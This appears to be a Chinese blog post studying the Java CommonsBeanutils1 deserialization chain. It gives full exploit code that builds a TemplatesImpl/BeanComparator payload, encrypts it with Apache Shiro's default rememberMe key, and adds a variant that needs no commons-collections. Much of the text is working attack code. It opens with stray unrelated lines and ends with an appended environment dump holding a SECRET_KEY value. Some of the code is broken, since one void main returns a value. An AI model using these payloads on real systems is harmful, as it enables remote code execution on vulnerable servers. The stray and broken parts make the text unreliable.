调用父类构造
调用j_Teacher构造
覅有父类J_E的mb_printinfo

java.util.PriorityQueue

在学CB链之前我们需要回忆一下java.util.PriorityQueue,这个类是我们CC2的入口点。我们回忆一下CC2的链子

1
java.util.PriorityQueue#readObject->heapify->siftDown->siftDownUsingComparator->TransformingComparator#compare->xxx#transform

在CC2中我们就已经知道了PriorityQueue可以调用到xxx.compare而在CB1中也是利用了这个来寻找compare类

commons.beanutils

commons beanutils这个类主要提供了对javabean进行操作的方法,如下其可以通过使用PropertyUtils.getProperty或者PropertyUtils.setProperty,BeanUtils.populate等去使用javabean的get或者set类。如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package CB;
import org.apache.commons.beanutils.*;

import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;

public class test {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
testBean bean = new testBean();
String Name = (String) PropertyUtils.getProperty(bean, "name");
PropertyUtils.setProperty(bean, "name", "Bob");
System.out.println(bean.getname());

HashMap map = new HashMap();
map.put("name", "xiaoming");
//map.put("age", 23);

BeanUtils.populate(bean, map);
BeanUtils.setProperty(bean, "age", "23");
System.out.println(bean.getname());
System.out.println(bean.getage());


}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package CB;

public class testBean {
public String name="xiaoli";
public Integer age;

public Integer getage(){
System.out.println("getage");
return age;
}

public void setage(Integer age){
System.out.println("setage");
this.age=age;
}

public String getname(){
System.out.println("getname");
return name;
}
public void setname(String name)
{
System.out.println("setname");
this.name = name;
}

}

需要注意一点的是无论javabean中的属性或者getter无论是不是大写开头的,但使用getProperty调用其getter传入的bean属性名都只能为全小写不然找不到
如下

CB链TemplatesImpl

而commons beanuitls有个类叫BeanComparator
我们看一下其compare

那么既然可以任意调用get,set函数那就让我想起了半年前调的fastjson,对本人将java搁置了半年才重新去学。主要还是没动力

fastjaon

fastjson反序列化的成因也是可以任意调用javabean所导致的。
而再学习时就有学到一个TemplatesImpl的链子。

我们可以通过TemplatesImpl下的getOutputProperties从而调用到实例化newTransformer()来加载字节码从而命令执行

过程如下

1
PriorityQueue.readObject->comparator.compare




然后

1
BeanComparator.compare->TemplatesImpl.getOutProperties->TemplatesImpl.newTransformer


从而命令执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}


public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates()throws Exception{

byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes={code};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);

setValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;

}
public static void main(String[] args) throws Exception {
TemplatesImpl tpl=(TemplatesImpl) getTemplates();
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(comparator);
priorityQueue.add(1);
priorityQueue.add(1);
setValue(priorityQueue,"queue",new Object[]{tpl,tpl});
setValue(comparator,"property","outputProperties");
Serializ(priorityQueue);
Unserializ("Ser.bin");
}
}

在shiro中的应用

这里我直接使用p牛的shiro环境
https://github.com/phith0n/JavaThings/blob/master/shirodemo/pom.xml
直接下载下来其是具有cc环境的,我们上面的cb链的payload在有cc环境的shiro中是可以打的如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
//CB1_shiro

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1_shiro {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}

public static byte[] Serializbyte(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(bos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
return bos.toByteArray();
}

public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates()throws Exception{

byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes={code};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);

setValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;

}

public byte[] getPayload() throws Exception {
TemplatesImpl tpl=(TemplatesImpl) getTemplates();
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(comparator);
priorityQueue.add(1);
priorityQueue.add(1);
setValue(priorityQueue,"queue",new Object[]{tpl,tpl});
setValue(comparator,"property","outputProperties");
return Serializbyte(priorityQueue);

}
public static void main(String[] args) throws Exception {
TemplatesImpl tpl=(TemplatesImpl) getTemplates();
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(comparator);
priorityQueue.add(1);
priorityQueue.add(1);
setValue(priorityQueue,"queue",new Object[]{tpl,tpl});
setValue(comparator,"property","outputProperties");
Serializ(priorityQueue);
Unserializ("Ser.bin");


}



}




//shiro.java

package shiro;
import CB.CB1_shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class shiro {
public static void main(String []args) throws Exception {
byte[] payloads = new CB1_shiro().getPayload();

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

无cc

但是如果吧cc依赖给去掉的话就不能直接使用BeanComparator的无参构造方法了

因为BeanComparator调用到了org.apache.commons.collections.comparators.ComparableComparator;而去除掉cc链的shiro无法调用到org.apache.commons.collections.comparators.ComparableComparator;
也就是说comparator在无参构造方法时被赋值为ComparableComparator.getInstance()
那么我们就需要指定我们的comparator

1
2
3
实现java.util.Comparator接口
实现java.io.Serializable接口
Java、shiro或commons-beanutils自带,且兼容性强

可以找到CaseInsensitiveComparator这个类的

通过String.CASE_INSENSITIVE_ORDER就可以得到这个类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1_shiro {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}

public static byte[] Serializbyte(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(bos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
return bos.toByteArray();
}

public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates(byte[][] codes)throws Exception{

TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);

setValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;

}

public byte[] getPayload() throws Exception {
DynamicClassGenerator classGenerator =new DynamicClassGenerator();
CtClass clz = classGenerator.genPayloadForLinux();
byte[][] codes={clz.toBytecode()};
TemplatesImpl tpl=(TemplatesImpl) getTemplates(codes);
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

PriorityQueue priorityQueue=new PriorityQueue(2,comparator);
priorityQueue.add("1");
priorityQueue.add("1");
setValue(priorityQueue,"queue",new Object[]{tpl,tpl});
setValue(comparator,"property","outputProperties");
return Serializbyte(priorityQueue);

}
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes={code};
TemplatesImpl tpl=(TemplatesImpl) getTemplates(codes);
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

PriorityQueue priorityQueue=new PriorityQueue(2,comparator);
priorityQueue.add("1");
priorityQueue.add("1");
setValue(priorityQueue,"queue",new Object[]{tpl,tpl});
setValue(comparator,"property","outputProperties");
return Serializbyte(priorityQueue);

}



}

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=55f256a9286fLANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHON_VERSION=3.9.17PYTHON_PIP_VERSION=23.0.1PYTHON_SETUPTOOLS_VERSION=58.1.0PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.pyPYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207SECRET_KEY=S3cRetK3yHOME=/root